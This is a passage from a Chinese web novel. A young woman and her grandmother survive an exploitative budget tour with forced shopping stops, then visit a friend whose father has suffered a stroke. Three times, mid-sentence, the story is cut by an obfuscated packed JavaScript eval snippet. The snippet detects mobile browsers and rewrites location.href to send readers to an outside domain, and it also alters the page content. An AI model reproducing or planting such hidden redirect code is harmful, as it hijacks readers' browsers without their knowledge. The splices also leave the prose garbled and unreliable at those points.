姥姥附和道:“是啊,这里头太闷了,空气不流通,我一进来就喘不上气……”她捂着胸口,大口喘着粗气,摇摇头说:“唉,人老了就是毛病多,要是我死在你们团,那就麻烦了……” 常乐无语地瞟她一眼。 姥姥,没必要这么狠吧?为了吓唬导游,连谶都不避了? 不过这招还是挺有效的,导游立马变了脸色,丢下一句“那你歇着吧”,转身直奔另一波人。 她们在冰凉的地上干坐了两个小时,期间还头靠头睡了一觉,终于听到“哗啦”一声,卷帘门又开了。 常乐长舒一口气,有种重见天日的感觉。 购物的人不多,翠姨买了个乳胶枕头,孙婆婆买了一套锅具,还有几个人买了玉佩和珍珠,花费从几百到上千元不等。 “一套锅要四千多?”姥姥打量着孙婆婆买的锅具,忍不住吐槽,“真是有钱不知道怎么花。” 孙婆婆说:“他们说是德国进口的,今天做活动,打七五折呢。” 常乐盯着翠姨手上的乳胶枕,有种恨铁不成钢的无奈。 “翠姨,你家厨房重新装修好了?”她拐弯抹角地问。 “装好了,俊臻出的钱呢。”翠姨喜滋滋地说,“他整天坐在电脑前,颈椎不好,这个枕头是给他买的。” 常乐暗暗叹了口气。姜太公钓鱼,愿者上钩,她还能说什么呢。 上了车,导游的脸色很难看,阴阳怪气地说:“这么多人,才买这么点东西,你们不嫌丢人,我还嫌丢人呢!没钱就不要出来玩啊,待在家里最省钱……” 大家都沉默地望着窗外,双目呆滞。 导游继续说:“你们是对我的服务有什么不满意吗?我辛辛苦苦伺候你们几天,你们就是这么报答我的?我说实话吧,带你们这个团,我只能拿到这个数——”她举起一只手,五指张开,“才五百块,根本就不赚钱!要是没有购物的提成,我就只能喝西北风了,你们还有良心吗?” 在出发之前,常乐在网上查了很多导游PUA的话术,所以真正听到时,她不仅不觉得愤怒,甚至还有点想笑。 “不赚钱就早点转行啊。”她小声嘀咕,“靠坑蒙拐骗也发不了大财,何必呢?” 导游越说越气愤:“还有某些人,一进商场就坐在地上,跟要饭的一样,真是丢尽了我们鄂省人的脸!” 常乐抠抠耳朵,又挠挠鼻子。 她脸皮厚,无所谓,倒是姥姥—— 她偷偷瞥一眼身边。 姥姥已经摘下了助听器,仰头靠在椅背上,张着嘴,呼呼大睡起来了。 常乐的心又落回肚子里。 白担心了。姥姥的心理素质可比她强多了。 -- 第三天,常乐病得更厉害了,一下床就感觉头重脚轻,左脚踩在右脚上,差点摔个狗吃屎。 上午得收拾行李,坐大巴车去漳城。一路上,她晕晕沉沉的,导游的絮叨都成了白噪音。 到了旅馆后,常乐瘫倒在床上,哼哼唧唧,任凭姥姥怎么生拉硬拽,都不肯下床。 姥姥无奈地说:“实在不行,咱们就请个假吧?” 常乐眯眼看着她,有气无力地说:“姥,我看你病得不严重,要不你去玩吧。” 姥姥摇头,“不行,下午又要去购物点,我怕我意志力不坚定,会被他们洗脑。” “行,那咱们一起请假。”常乐说完,掏出手机,在群里找导游请假。 导游又是一顿阴阳怪气,说她们没有集体意识,不配合她的工作……末了,还要强调一句:“这是你们自愿不参加的,团费是不退的哦。” 不过这些常乐都没看到。她把手机一扔,眼一闭,几秒种后,就发出了轻微的鼾声。 一觉醒来,太阳已经西斜。常乐躺在床上玩手机,顺便点了个外卖。 视频刷累了就看会儿直播,珍姐的直播间已经有一百多号人了,但大部分都是新客,进来看了一会儿,觉得无聊又出去了。 视频中偶尔有人经过,都被打了码,看穿着打扮,有巡逻的保安,有洗地的保洁,还有遛弯的业主…… 至于那栋别墅,依旧门窗紧闭,没有一点变化。 晚上的团餐,常乐懒得下去吃。姥姥给她打包了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745601|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份,虾是死的,牛肉是合成的,蔬菜寡淡无味。 常乐叹了口气,掏出手机,又点了份外卖。 -- 睡觉和美食果然有效,到了第四天,常乐觉得自己已经好了一半。 但她仍眉头紧锁,哼哼唧唧道:“姥,我还是难受……” 姥姥伸手覆上她的额头,又摸摸自己的,疑惑道:“也不烧啊。头还疼吗?” 常乐表情痛苦,点了点头。 姥姥问:“要不再请一天假?” 常乐显得很为难:“这样不好吧?那你不是白来了?” “都病成这样了,还玩个锤子啊?” 于是,常乐将昨天的微信复制一遍,发给了导游。 导游回复道:【小妹妹,我昨天发的通知你没看吗?上午的活动很重要,所有人都必须参加。下午我们就要去泉城了,到时候你再好好休息吧。】 至于上午到底有什么活动,常乐把微信群翻了个遍,也没找到一条解释。 她唉声叹气地爬下床,刷牙、洗脸、梳头,出门前还不忘戴上口罩,装出一副病殃殃的样子。 一个小时后,大巴车停在了一家土特产店门口。 常乐:“……她奶奶的。” 难怪要求所有人必须参加呢。少一个人就少赚一份钱嘛。 导游带大家穿过土特产店,进了里面的房间。里面被布置成会议室的样子,摆满了椅子,正前方是一面大屏幕,上面闪着五个大字: 健康大讲座。 真是讽刺。常乐心想,她拖着带病之躯,大老远跑这儿来,就为了听一个什么狗屁健康讲座? 还不如多睡一会儿更健康。 一个戴眼镜的白发老头站在讲台上,自我介绍的头衔一大堆。他装模作样地讲了几条关于健康养生的小知识,然后就开始了推销。先是益生菌驼奶,接着是护腰磁石,然后是珍珠粉,再然后…… 台下大部分人都在装睡,唯独第一排的人特别配合,甚至还为了多买几罐驼奶,争得面红耳赤。 常乐定睛一看,全是陌生面孔。 敢情都是托儿啊。 一套组合拳下来,上当的人寥寥无几。老头当场就甩脸子了,语带嘲讽道:“我听说鄂省人都特别抠门,今天算是长见识了。平时舍不得吃舍不得穿就罢了,现在呢,连为自己的身体健康做一点小小的投资都舍不得,你们的钱留着干嘛呢?” 常乐小声接话:“留着等你死后烧给你呗。” 周围一圈人都扑哧笑出声。 姥姥用胳膊肘捅了捅常乐,警告道:“心里想想就行了,别说出来啊,小心枪打出头鸟。” 常乐不屑一顾地撇撇嘴。 上车后,导游又发了一通火。 常乐嚼着在特产店买的鱿鱼丝,欣赏着窗外的景色,就当她在放屁。 “又乱花钱!”姥姥瞟着她怀里的一袋特产,掏出手机给她算账,“前天买药花了35,昨天点两次外卖花了40,哦,还买了几瓶矿泉水——” 常乐不耐烦地打断她:“姥,别算了,我没买什么乳胶枕、进口锅、珍珠粉,已经够省钱的了。” 中午,一行人又辗转来到旅行的最后一站——泉城。 常乐已经请好了假,吃完中饭就躺在旅馆的床上,优哉游哉地玩着手机。 姥姥一脸幽怨地看着她。 “你要是还能动弹,咱们就出去转转。总不能白来一趟吧。” “行啊。”常乐腾地坐起身,“你想去哪儿?” “听说这里的寺庙很多,咱们找一家最灵的去拜拜?” 说走就走,常乐飞快地收拾好自己,因为心情不错,还化了个淡妆,然后背着小包,挽着姥姥出门了。 两人打了辆车,直奔泉城千年名刹——开元寺。 常乐看着窗外热闹的街市,吹拂着清爽的风,感觉无比自由和畅快。 这才是旅游嘛,想去哪儿去哪儿,想玩多久玩多久。 开元寺不收门票,还能免费领香,这让姥姥倍感惊喜。两人踏进古色古香的庙宇,学着本地人的方式,燃香,依次向四个方向鞠躬,插香,然后扑通一下跪在佛祖面前。 常乐虔诚地说:“佛祖啊,看在我身患重病还坚持来烧香拜佛的份上,一定要保佑我发财啊。” 姥姥一巴掌削在她后脑勺上。 “都病成这样了,还想着发财呢?”她骂道,“应该让佛祖保佑你赶紧好起来。” 常乐揉揉后脑勺,嘟哝道:“不就是阳了嘛,慢一点要七天,快一点要一周,迟早会好的。还是发财要紧。” 姥姥“啧”了一声,命令道:“不行,重新许一个,正经点的。” 思索片刻,常乐挺直腰杆,跪得端端正正,双手合十,双目紧闭,喃喃自语道:“求佛祖保佑我全家人身体健康、平平安安。至于我……” 她睁开眼,目光炯炯地盯着佛祖,加重了语气:“一定要保佑我发大财啊。” 38. 38 两人拜完佛,走出大殿,坐在一棵百年老榕树的树根上,看游人和香客来来往往,看小孩在追逐鸽子,看夕阳的余晖掠过大殿的歇山顶,斜斜地洒落在灰白的花岗岩上。 这几天,常乐时刻提防着上当受骗,神经一直处于紧绷状态。而在这个慵懒的午后,她的心渐渐平静下来,感受到了久违的岁月静好。 出了寺庙大门,便是古老而热闹的西街。常乐和姥姥边走边逛,到了晚饭时间,就在路边挑了家朴素的小馆子,点了两碗有本地特色的面线糊,往里头加了醋肉、肥肠、小鱼丸,又单独点了不少小吃。 这顿饭,两人吃得是心满意足,齿颊生香。 连姥姥都忍不住感叹,说这是她出来这几天,吃得最好的一顿。 “要我说,旅游就应该自己出来玩,报团真是又累又无聊。”常乐一边喝着四果汤,一边说。 姥姥给她算账:“自己出来玩,往返的路费就不止500了,住宿一个人得500吧,还有门票、吃饭、交通……” “至少这钱花得明明白白的,不像报团,说是只要499,一路上各种推销各种洗脑,要不是咱俩心理素质好,加上脸皮厚,早就被掏空钱包了。” 姥姥回想这几天在购物点遭受的折磨,不禁感叹:“还好咱们意志坚定,才躲过这一劫。” “还没完全躲过去呢。”常乐呵呵冷笑,“明天还有一整天,导游估计会放大招,做好心理准备。” -- 常乐猜得没错。 第二天一早,大家收拾好行李,坐上大巴车。经过一个多小时的辗转后,大巴车停在一处偏僻的寺庙前。 一个肥头大耳的和尚镇守在庙门口,负责收门票,一人50。 常乐和姥姥下了车,在寺庙周围佯装拍照,磨磨蹭蹭地不肯进去。 导游来催,常乐振振有词道:“我昨天已经拜过了,正所谓‘一人不供二佛’,我就不进去了,免得昨天许的愿不灵。” 导游翻了个白眼,怪腔怪调道:“哟,还不知道你这么虔诚呢,病得这么重,还有力气去拜佛。” 常乐假装听不懂,一脸无辜地问:“咦,你为什么不进去呢?是不是做了太多亏心事,没脸见佛祖?” 导游脸一黑,冷冷道:“我做什么亏心事了?我赚的都是辛苦钱。你们喜欢占小便宜,报这种低价团,就活该被人宰被人骗。” “哟,把真心话都说出来了?”常乐举起手机,打开抖音录视频,“来啊,继续,对着镜头说。我有八十多万粉丝呢,保证能让你一炮而红。” 导游立马噤声,紧绷着唇,恶狠狠地瞪她一眼。 常乐和姥姥在寺庙周围转悠了一个多小时,终于等到其他人陆陆续续地出来了。 上车时,常乐听到前面的大爷在抱怨:“什么破庙,听都没听过,门票要50就算了,还要掏300块的香火钱,真是一群土匪。” “唉,来都来了,就当花钱买个心安吧。”旁边一个大妈安慰道,“听说那个高僧很厉害的,能保佑家里的孩子找个好工作……” 常乐和姥姥对视一眼。 两人不约而同地想起了昨天下午,那场短暂的出逃。 千年古迹,佛教圣地,法相庄严,包容万千,才不会像这座小庙般市侩蛮横,与旅行社这帮劫匪沆瀣一气。 十点整,他们终于踏上了返程之旅。 虽然这趟旅程处处受气,但总算要结束了,所有人都如释重负,只盼着早点到家。 连导游也不再作妖了。说完结束语后,她就安静下来,也没兴致组织文艺表演,似乎是对这个团彻底失望了。 大巴车在高速上行驶了两个多小时,又从匝道拐下来,在山路上七弯八绕,最后停在了一片竹林里。 路边有个简陋的招牌,写着“服务区”几个字。 导游指挥大家下车,冷着脸宣布,由于这个团没有达到旅行社规定的消费额度,所以今天的午餐,由他们自费。 大家面面相觑,但是没人提出质疑。毕竟在这荒郊野岭,谁也不敢当这个出头鸟, 一顿午饭而已,应该贵不到哪里去吧? 常乐心情有些忐忑。她打开手机,只有一格信号,连在地图上精准定位都难。 “姥,我昨天买了一袋零食,还有方便面。”她压低声音,对姥姥说,“咱们先进去看看,要是太贵,就吃方便面。” 姥姥用力点点头,第一次夸她花钱花得好:“还是你机智。” 服务区很简陋,只有几间小平房,中间是食堂,左右两侧分别是厕所和热水间。 一行人战战兢兢地走进食堂,靠墙摆放着十几盆炒好的菜肴,几个服务员目不转睛地盯着他们,这眼神,仿佛在看一群大肥羊。 “这怎么收费啊?”有人问服务员。 服务员冲柜台方向抬了抬下巴,“这儿有餐盘,自己拿,到柜台称重。” 又有一个人问:“多少钱一斤?” 服务员气焰嚣张:“你称了不就知道了。” 没人敢第一个吃螃蟹。 柜台旁边有一排货架,上面摆放着方便面、八宝粥、饼干之类的食物。有人走过去,拿起一桶方便面,看了眼底下的小标签,啧啧摇头,赶紧放了回去。 “算了,一顿饭而已,能有多贵?”一个大爷率先拿起餐盘和菜夹,夹了几样日常菜,量不多,放在柜台上称重。 等他付完款、端着菜盘回来时,一圈人立马围了上去,一边估量他盘里的饭菜的分量,一边打听:“哎,多少钱?” “八十。”大爷脸色阴沉,低骂一句:“妈的,进土匪窝了。” 常乐拽着姥姥,扭头就走。 她走到热水房前,从塑料袋里掏出方便面,正要拆开塑料膜,姥姥突然扯了扯她的袖子,然后,指着开水器上的一行红字—— 开水,一次五元。 一个男服务员守在开水器旁,虎视眈眈地盯着她们。 常乐顿时傻眼了。她看看姥姥,又看看手里的泡面。 “咋办?还泡吗?” 姥姥坚决地摇了摇头,“少吃一顿又不会死。再说了,你那儿不是还有小零食吗?” 她拉着常乐走了,嘴里骂骂咧咧:“没见过这么黑心的,连热水都要收费,真是想钱想疯了。” 常乐也很愤慨。 五元倒是不贵,可是这钱她花得憋屈,有种被趁火打劫的感觉。 更让人憋屈的是,连厕所都要收费,五元一次。 饥饿和口渴尚且能忍,可是人有三急,错过这个土匪窝,不知道要多久才能到下一个服务区。 有几个脸皮厚的大爷径直走进了竹林深处,剩下一群脸皮薄的,在厕所门口徘徊着。 姥姥问常乐:“能忍吗?” 常乐表示为难:“本来不想上的,可一见到厕所,就来感觉了……” “算了,那你去吧。”姥姥把她往前一推,“我请客。” 姥姥掏出钱包,抠出五个钢镚儿,扔给了门口收费的胖大妈。 常乐牙一咬心一横,推开门进去了。 她恨恨地想,这钱就当是给这帮土匪清明烧纸了。 一群人在这个鬼地方滞留了两个多小时,导游才大发慈悲地打开车门,指挥他们上车。 大巴车缓缓驶出竹林。导游站在过道上,皮笑肉不笑地说:“我们的旅程马上就要结束了,最后,我要提醒大家三件事。第一,大家都是高素质人士,所以,买了东西就不要再退货了,免得给别人添麻烦,是不是?” 没人接话,连平日里最活跃的几个大爷大妈,此刻都一脸疲惫地闭着眼。 “第二,某些人也别想着去举报我。”导游笑容一冷,语带威胁,“我们旅行社能开这么多年,肯定是有自己的人脉和后台的。谁在背后搞小动作,我们一清二楚。到时候,别怪我不客气。” 常乐翻了个白眼。 一个破旅行社,吹得牛逼轰轰的,真把自己当□□了? “第三,这几天,谁花钱多,谁花钱少,我心里门儿清。呵呵,某些人——” 导游加重语气,目光越过人群,精准地落在常乐身上。 “一分钱不花,就想占便宜,这种人我们不欢迎!麻烦以后也不要报我们的团!” 常乐勾起唇角,回她一个轻蔑的笑。 说得好像我很舍不得你似的。 全国导游千千万,你踏马的最稀烂。 导游鼻腔重重哼气,收起话筒,坐回了座位上。 常乐捶了捶后背,将衣服垫在腰后,双臂抱怀,双腿大喇喇地敞开。 管他呢,先睡觉。 一觉醒来,大巴车还在高速上行驶。 再一觉醒来,窗外的天色已经昏暗。 又一觉醒来…… 怎么还没到啊? 常乐打了个哈欠,转一转酸痛的肩膀,再扭一扭僵硬的腰身,感觉自己像一台年久失修的机器,所有零件都生了锈,活动起来嘎吱作响。 直到深夜十点多,大巴车才驶出高速。看到收费站上“青江东”三个闪亮的大字,常乐感动得都快落泪了。 终于活着回来了,不容易啊。 在外头遭了罪,才知道家有多好。 有热乎乎的饭菜,有暖烘烘的被窝,有可以躺、可以坐、可以随意打滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753652|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的沙发,有热情洋溢的小狗,还有永远不会对她恶语相向的家人。 常乐鼻子一酸,眼眶发热。趁姥姥没注意,她转过头,飞快地抹掉眼角的泪花。 大巴车一路走走停停,陆续有人下车。到教师小区门口时,已经快十一点了。 常乐和姥姥拖着行李箱,一瘸一拐地朝小区走去。 其他人也没好到哪儿去,翠姨和孙婆婆相互搀扶着,一个挺着腰,像怀了个大西瓜,一个驼着背,像背了一袋大米。 “这是造的什么孽哟。”孙婆婆一边捶着腰,一边叹气,“我都一把老骨头了,还要遭这种罪。” 翠姨没好气地说:“还不是你非要报名。” 常乐忍着双脚的肿痛,小跑着追上她们,说:“孙婆婆,翠姨,我听导游那意思,咱们在购物点买的东西,其实是可以退的。你们要不去打听一下,能退就退吧。实在想要那个什么枕头、什么锅,在网上买也是一样的。” 翠姨一愣,看了看孙婆婆,神色有些为难,“可是,我怕那个导游报复我……” “一个小流氓,你怕她作甚啊!”常乐不屑一顾道,“别信她的,想退就退。她要是敢找你麻烦,你就报警呗。” 翠姨犹豫不决,“我再看看吧。” 常乐说:“你别看了,你直接跟俊臻哥说吧。他那么聪明,肯定知道该怎么办。” 一句话说到翠姨心坎儿上了。她脸上浮起笑容,语气满是骄傲:“行,我明天就跟他说。他见多识广,又有主见……” 正说着,小区主干道的尽头忽然出现一道炫目的蓝色,闪烁不定,由远及近。 所有人都停住了脚步。 一辆救护车闪着灯,从他们身边呼啸而过。 “谁家出事了?”翠姨皱着眉头问。 “谁知道呢?”孙婆婆叹了口气,“咱们小区老人多,天又冷,老人最容易犯病。” 常乐的心猛地往下一坠。 老人? 姥爷一个人在家,该不会是他出事了吧?洗澡滑倒了?没吃晚饭饿晕了?还是突发脑梗或心梗了? 姥姥跟她想到一块儿了。她慌慌张张地掏出手机,拨通姥爷的电话。 嘟了十几下,还是没人接。 “姥,赶紧回去看看。”常乐一手抓住她的胳膊,一手提起行李箱,回头跟翠姨和孙婆婆道别:“我们先走了。” 两人一路上健步如飞,小跑着冲进单元楼,拿钥匙开门的时候,姥姥的手都在哆嗦。 终于进了门,家里一片漆黑,常乐打开灯,大步冲向卧室,直到听见姥爷那如雷的鼾声,才如释重负地吐出一口气。 姥姥紧跟在她身后,冲进卧室,对着床上睡得正酣的姥爷打了一顿王八拳。 姥爷一脸懵地睁开眼,看着怒气冲冲的姥姥,迷迷糊糊地说:“啊?你们回啦?怎么了?” “你说怎么了?”姥姥拿起他放在床头的手机,“给你打电话为什么不接?” 姥爷仍然一头雾水:“我睡觉了怎么接啊?” “睡得跟死猪一样,雷都劈不醒你。”姥姥急促地喘着气,抚着胸口,“哎唷,吓得我哟,心脏病都要犯了……” 常乐笑了,拖着行李,回到了自己的房间。 第二天一早,常乐被一只手摇醒了。 她睁开惺忪的睡眼,看到林文娟坐在床头,手背覆在自己的额头上。 触感微凉而柔软。 “好像不烧了。”林文娟又晃晃她,“吃药了吗?” 常乐含糊地说:“吃了……妈,你起那么早干嘛?” “上学啊。我们这周就开始上课了。” “……那我送你。”常乐挣扎着要起身。 “哎哎,你就别折腾了,今天让你爸送。”林文娟把她摁回床上,给她掖好被子。 她坐在床头,静静地看着常乐,一时没有说话。 常乐重新闭上眼,半睡半醒中,隐约听见她说:“昨天晚上,易诚他爸出事了,你知道吧?” “唔……”常乐依旧闭着眼,含混地应了一声,“是吗?” 林文娟见她睡意昏沉,估计没听见自己说什么,微微叹了口气,起身准备离开。 常乐蓦地睁开眼。 谁?易诚他爸?易叔叔? 她腾地坐起身,直愣愣地盯着林文娟。 “……啊?” 林文娟回头看着她,一边系围巾一边说:“昨天晚上出的事,已经送医院抢救了,还不知道情况怎么样……你今天要是有空,就去医院看看他。” 常乐呆呆地点头:“行。” 一颗心沉甸甸的,仿佛灌满了铅。 39. 39 上午,天空阴沉沉的,气温降到了个位数。 常乐戴好口罩,提着水果和牛奶,搭公交车去了人民医院,找到了神经内科的病房。 易叔叔被安置在重症病房,正对着护士站。里面对称摆放着六张病床,中间用蓝色布帘隔开。 常乐蹑手蹑脚地走进去,透过布帘的缝隙,看到第一张床上躺着个老人,喘气声粗重黏腻,一个护士正在床边帮他吸痰。 第二张床上的病人歪着脑袋,脸颊凹陷下去,直勾勾地盯着天花板,眼珠一动不动。 常乐忽然想起,高中时,她在好词好句本里抄下一句话:天花板是病人的一部看不完的书。 那时候,她尚且不知人间疾苦。此时此刻,看到这样的眼神,她才真正读懂了这句话。 一直往里走,她终于看见易诚。他坐在陪护椅上,双臂抱怀,仰头靠着椅背,闭着眼,眉心微蹙。 听到脚步声,他缓缓睁开眼,看见常乐,有一瞬间的愕然。 “你怎么来了?”他回过神来,急忙起身迎接。 “我昨天晚上刚回小区,就看见你们的救护车了。”常乐把几袋水果放在地上,从里面拎起两袋小吃递给他,“还没吃早饭吧?在医院门口买的小笼包和豆浆,赶紧吃吧。” 易诚接过早饭。小笼包是新鲜出炉的,还散发着热气,手心被熨帖得微微发烫。 他让常乐坐陪护椅,自己则坐在床尾,拿起豆浆,喝了几口。 常乐看向床上的易叔叔。 他还在昏睡中,两只手插满了管子,氧气面罩挡住了他瘦削的下半张脸,床头的仪器发出轻微而有节律的嘀响。 “怎么突然发病了?”常乐小声问易诚,“是摔倒了吗?” 易诚摇摇头,一口气喝完剩下的豆浆,低头看着手心。 “脑梗就是很容易复发,尤其是在冬天。”他低声说,“昨天他半夜起来上厕所,忽然吐了,之后就倒在地上。我赶紧打了120,送到医院做了溶栓,这才救回来一条命。” 常乐舒了一口气,“抢救回来了就好。” “医生说……” 易诚看了眼床上的父亲,又低头看着手中的小笼包,后面的话哽在了喉咙里。 沉默片刻,他重新开口:“对不起啊,我现在……有点吃不下。” “没事儿。”常乐从他手里拿走小笼包,又从袋子里掏出一个耙耙柑递给他,“先吃点水果吧。” 易诚扒开耙耙柑,给她分了一半,正要将另一半往嘴里塞时,忽然被她一把拽住袖子—— “哎呀,我忘了,你刚喝了豆浆,不能马上吃这个。” 常乐从他手里拿走耙耙柑,又在装水果的袋子里挑挑拣拣,最后掰下两根香蕉。 “先吃这个吧,补充点能量。” 易诚脸上终于露出一丝笑容,俯身查看地上的袋子,“带了这么多吃的?还有什么?” “苹果、香蕉、饼干,你饿了就吃点垫垫肚子。”常乐又从里面掏出两包零食,“这是我带回来的特产,给你尝尝。” 一包是香辣鳗鱼丝,一包是炭烤鱿鱼丝。 易诚接过零食,饶有兴致地读起了袋子上的介绍:正宗闽南风味,原味手撕好口感,层层鲜香看得见。 “对了,还没问你呢,出去玩得怎么样?” “唉,别提了。”常乐一脸苦大仇深,“总结起来就五个字——花钱买罪受。” 易诚没参加过这种团,但也略有耳闻:“跟团游就是很累。” 常乐吐槽道:“不止是累,还很憋屈,你懂吗?那个导游简直把我们当大肥羊啊,一波接一波地薅。” 易诚正要接话,病房门外忽然传来一声呼喊:“6号床的家属,出来一下。” 易诚急忙起身,正要跟常乐交代几句,常乐冲他摆摆手,“你去吧,我在这里看着,不会有事的。” 病房门口,护士递给易诚一张纸,常乐隐约听到她说:“你先往卡里充三万块吧,他这种情况,至少要在这里住一个星期……” 易诚的侧影很清瘦。他微微弓着背,低头看着手中的纸,温顺地点点头。 他走了进来,常乐急忙将视线转向病床。 “我得下去一趟。”易诚从床头柜里拿出一个黑包,回过头叮嘱常乐:“这边就麻烦你照看一下,要是输液快到底了,就摁这个键,喊护士过来。”他指向床头一个圆形按钮。 常乐站起身,仰头看着他。 他眼底有深深的倦意,下巴泛着青色的胡茬。几天不见,他又添了几分沧桑。 “行,你下去吧。”常乐弯起唇角,“我就在这儿守着,哪儿也不去。” 易诚点点头,转身正要走,又被常乐喊住:“哎,你那个……” 易诚回过头,“怎么了?” 常乐咬了咬唇,斟酌片刻,才小声说:“你钱够吗?要是不够,我这里还有。” “够了。”易诚垂下眼帘,那张薄薄的缴费通知单攥在手里,如刀刃切割着掌心。 “……谢谢你。”许久,他低声说。 常乐坐回椅子上,冲他摆摆手,“快去吧。” 时间过得很慢。常乐盯着输液袋,里面还剩大半,暂时不用操心。 可她也不想看手机。沉重的现实就横亘在面前,手机里那些娱乐八卦和家长里短,此刻显得那么肤浅而聒噪。 也许,这个世界大部分时候都是肤浅而聒噪的。可是,人总要在某些时刻,不得不面对一些更深刻、更沉重的问题。 易诚很快就回来了。他微微喘着气,把黑包放进床头柜,然后查看床头仪表上的数字。 “放心吧,没什么事。”常乐安慰道。 易诚检查无误后,又坐到床尾,垂眸看着她,真诚地道谢。 病房里的时间格外难熬。但是有人作伴,总好过一个人孤独承受。 这个上午,常乐跟易诚聊了很多,从这次跟团游的各种奇葩经历,到昨天晚上姥姥把姥爷暴打一顿的搞笑画面,易诚不时被她逗笑,虽然嘴角弯起的弧度很浅,但能看出来,他眼底的阴霾消散了不少。 易诚也跟她聊起了往事,更多的是关于他记忆中的父亲。 易叔叔年轻的时候喜欢写诗,给出版社投稿无数,有几篇还被选上了,刊印在一本现代诗合集里。那本书至今还锁在他家的书桌抽屉里。 易叔叔还喜欢骑摩托,载着小小的易诚去郊外兜风,碾过春天柔软的芦苇丛,夏天翠绿的玉米地,秋天覆满落叶的树林,冬天荒芜的田野。 直到易诚的母亲去世,他备受打击,情绪不振,又不得不独自承受养家和育儿的双重压力。渐渐地,他被琐碎乏味的生活淹没,再也没有做过关于诗和远方的梦。 常乐好奇地问:“是那辆改造成边三轮的摩托吗?” 易诚点点头,淡笑道:“你还记得?” “是啊。”常乐怀念地说。 她还记得那锃亮的金属外壳,引擎的轰鸣声,还有坐在车上时,凉风扑打在脸上,那种自由的感觉。 “后来他生病了,骑不了摩托,我就把车卖了。”易诚看向病床上的父亲,“他还发了好大的火,跟小孩子一样。” 常乐笑了,“你跟他说,等以后病好了,再给他买辆新的嘛。” 易诚沉默片刻,继续说:“他喜欢看抖音上那些骑行博主,什么骑摩托车环球旅行、骑自行车进藏,甚至还有骑三轮环游全国的。去年,他一直关注的一个骑行博主失联了,他担心了好久,天天问我那人找到了吗。” 常乐若有所思地看着病床上的易叔叔。 谁不曾梦想仗剑走天涯。可惜,年轻时没钱,中年时没时间,到老了,倒是有钱又有时间了,只可惜,没有一具能承载自由灵魂的身体。 她忽然理解了姥姥为什么喜欢报团旅游。一方面,独自旅行她已力不从心,只有集体才能带给她安全感;另一方面,她又想在有限的晚年时光里,尽可能地去看见更大更远的世界。 直到中午,常乐才离开病房。 她本想下去给易诚买份盒饭,但他已经拿起凉透了的小笼包吃了起来,说不能浪费。 常乐坐在回程的公交车上,窗外开始下起了雨。从一开始的濛濛细雨,渐渐越下越大,最后竟发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773083|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展成倾盆之势。 隔着厚厚的雨幕,她看着街头奔跑的中学生、穿着雨衣骑电瓶车的女人、扶着大伞不被风吹倒的小摊贩…… 一直压在心头那种沉甸甸的情绪,慢慢释然了。 生活的大雨不期而遇。有车接送、有人撑伞的人,固然令人羡慕。可是,在风雨中奋力前行的人,才更令人佩服。 常乐淋成落汤鸡回了家。 姥姥赶忙迎上来,一边递上毛巾一边骂道:“真是个驴脑子,出门也不看天气!赶紧去洗个澡。” 常乐脱下湿透的羽绒服,正要钻进洗手间,又被她喊住:“哎,易诚他爸怎么样?” “救回了一命,但是人还没醒。” “医生怎么说?” 常乐摇摇头,“易诚没说,我也就没多问。估计……情况不太好。” 姥爷端着茶杯从卧室出来,叹气道:“这种病一旦复发,致残率和致死率都很高,就算抢救回来,也可能……唉,万般皆是命,半点不由人啊。” “可怜啊……”姥姥唏嘘道,“大人小孩都遭罪。” 常乐没说话,转身关上洗手间的门。 傍晚时分,雨渐渐停了。姥姥早早地做好了晚饭,装进保温桶,又将保温桶装进一个帆布袋里,并嘱咐常乐:“小心点,汤别洒出来了。” “知道了。”常乐提起袋子,正要出门,姥姥又提醒道:“带伞!带伞!” 常乐在小区门口的小超市买了些日用品,一并带去了人民医院。 易诚见到她,很是诧异。 “还没吃晚饭吧?”常乐把帆布袋到床头柜上,“我姥姥给你做的。还有这些——”她打开塑料袋给易诚看,“牙刷、牙膏、毛巾什么的,你看看缺什么,我再去买。” 易诚愣愣地看着塑料袋,又看向她,嘴唇翕张着,久久说不出话。 常乐笑了笑,将袋子放在地上,搡搡他的胳膊,“傻愣着干什么,赶紧吃啊。” 易诚低着头,喉结向下轻滚,哑声说:“给你们添麻烦了。” “一点小事,别客气。”常乐坐在床尾,视线落在易叔叔的脸上,声音低了几分:“你爸还没醒吗?” “下午醒了一会儿,能认人了,现在又睡了。” 易诚从帆布袋里提起保温桶,视线往里一扫,忽然顿住,提桶的手也僵在空中。 “怎么了?”常乐急忙起身,探头望去,“汤洒了吗?” 易诚放下保温桶,从帆布袋底部拿出一个黄色的牛皮纸信封,正面写着几个字:“祝早日康复。” 常乐一下子明白过来了。 